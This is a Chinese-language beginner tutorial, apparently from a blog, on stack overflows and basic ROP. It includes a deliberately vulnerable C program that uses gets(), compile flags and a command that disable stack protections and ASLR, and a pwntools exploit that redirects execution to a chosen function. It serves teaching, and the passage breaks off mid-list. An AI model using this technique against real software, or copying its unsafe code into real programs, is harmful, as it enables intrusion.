【Web狗自虐系列1】Pwn入门之初级ROP

0x0 栈介绍

栈式一种典型的后进先出的数据结构,其操作主要有压栈(push)与出栈(pop)两种操作
压栈与出栈都是操作的栈顶
image.png
高级语言在运行时都会被转换为汇编程序,在汇编程序运行过程中,充分利用了这一数据结构。每个程序在运行时都有虚拟地址空间,其中某一部分就是该程序对应的栈,用于保存函数调用信息和局部变量。
程序的栈是从进程地址空间的高地址向低地址增长的。

  • x86
    • 函数参数在函数返回地址的上方
  • x64
    • 前6个整型或指针参数一次保存在RDI,RSI,RDX,RCX,R8和R9寄存器中,如果还有更多的参数的话才会保存在栈上
    • 内存地址不能大于0x00007FFFFFFFFFFF,6个字节长度,否则会抛出异常

0x1 栈溢出原理

栈溢出指的是程序向栈中某个变量写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。
栈溢出的基本前提是:

  • 程序必须向栈上写入数据
  • 写入的数据大小没有被良好地控制

一、简单示例

最典型的栈溢出利用是覆盖程序的返回地址为攻击者所控制的地址,在利用前,我们需要确保这个地址所在的段具有可执行权限,举例

#include <stdio.h>
#include <string.h>
void success() {
   
    puts("You Hava already controlled it."); }
void vulnerable() {
   
   
  char s[12];
  gets(s);
  puts(s);
  return;
}
int main(int argc, char **argv) {
   
   
  vulnerable();
  return 0;
}

这个程序的主要目的读取一个字符串,并将其输出。最终我们想要做到的事可以控制程序执行success函数
使用如下指令对其进行编译

gcc -m32 -fno-stack-protector -no-pie stack_example.c -o stack_example
  • -m32 生成32位程序
  • -fno-stack-protector不开启堆栈溢出保护,即不生成canary
  • --enable-default-pie参数代表PIE默认已开启,需要在编译指令中添加参数-no-pie

Linux平台下还有地址空间分布随机化(ASLR)的机制,简单来说即使可执行文件开启了PIE保护,还需要系统开启ASLR才回真正打乱基址,否则程序运行时依旧会加载一个固定的基址上,可以通过修改/proc/sys/kernel/randomize_va_space来控制ASLR启动与否,具体选项有:

  • 0,关闭ASLR,没有随机化。栈、堆、.so的基地址每次都相同
  • 1,普通ASLR。栈基地址、mmap基地址、.so加载基地址都将被随机化,但是堆基地址没有随机化
  • 2,增强的 ASLR,在1的基础上,增加了堆基地址随机化
    修改指令:关闭Linux系统的ASLR
echo 0 > /proc/sys/kernel/randomize_va_space

image.png
根据分析可知,该字符串距离ebp的长度为0x14,对应的栈结构为

			+--------------------+
			|      retaddr       |
			+--------------------+
			|      saved ebp     |
	ebp---->+--------------------+
			|                    |
			|                    |
			|                    |
			|                    |
			|                    |
			|                    |
s,ebp-0x14->+--------------------+  

通过Ghidra获得success的地址,其地址为0x080491ba
image.png

tips
push ebp是一个函数的开始标志

如果读取的字符串为

0x14*'a' + 'bbbb' + success_addr

由于gets会读到回车才算结束,所以可以直接读取所有字符串,并将saved ebp覆盖为bbbb,将retaddr覆盖为success_addr,此时的栈结构为

			+--------------------+
			|     0x080491ba     |
			+--------------------+
			|        bbbb        |
	ebp---->+--------------------+
			|                    |
			|                    |
			|                    |
			|                    |
			|                    |
			|                    |
s,ebp-0x14->+--------------------+  

由于在计算机内存中,每个值都是按照字节存储的。一般情况下都是采用小端存储,即0x080491ba在内存中的形式是

\xba\x91\x04\x08

所以构造exp如下

##coding=utf8
# 导入pwn模块
from pwn import *
# 构造与程序交互的对象
sh = process('./01')
# 所要运行的函数的地址
success_addr = 0x080491ba
# code为构造的填充脏字节
code = 'a' * 0x14
# place为填充寄存器的字节
place = 'b' * 0x4
# 拼接payload
payload = code + place + p32(success_addr)
# 打印payload
print(p32(success_addr))
# 发送payload
sh.sendline(payload)
# 将代码交互转换为手工交互
sh.interactive()

执行成功运行vulnerable函数
总结:栈溢出中比较重要的两个步骤分别为

  1. 寻找危险函数(常见危险函数如下)
    1. 输入
      1. gets,直接读取一行,忽略\x00
      2. scanf<
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

ShadowCui

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值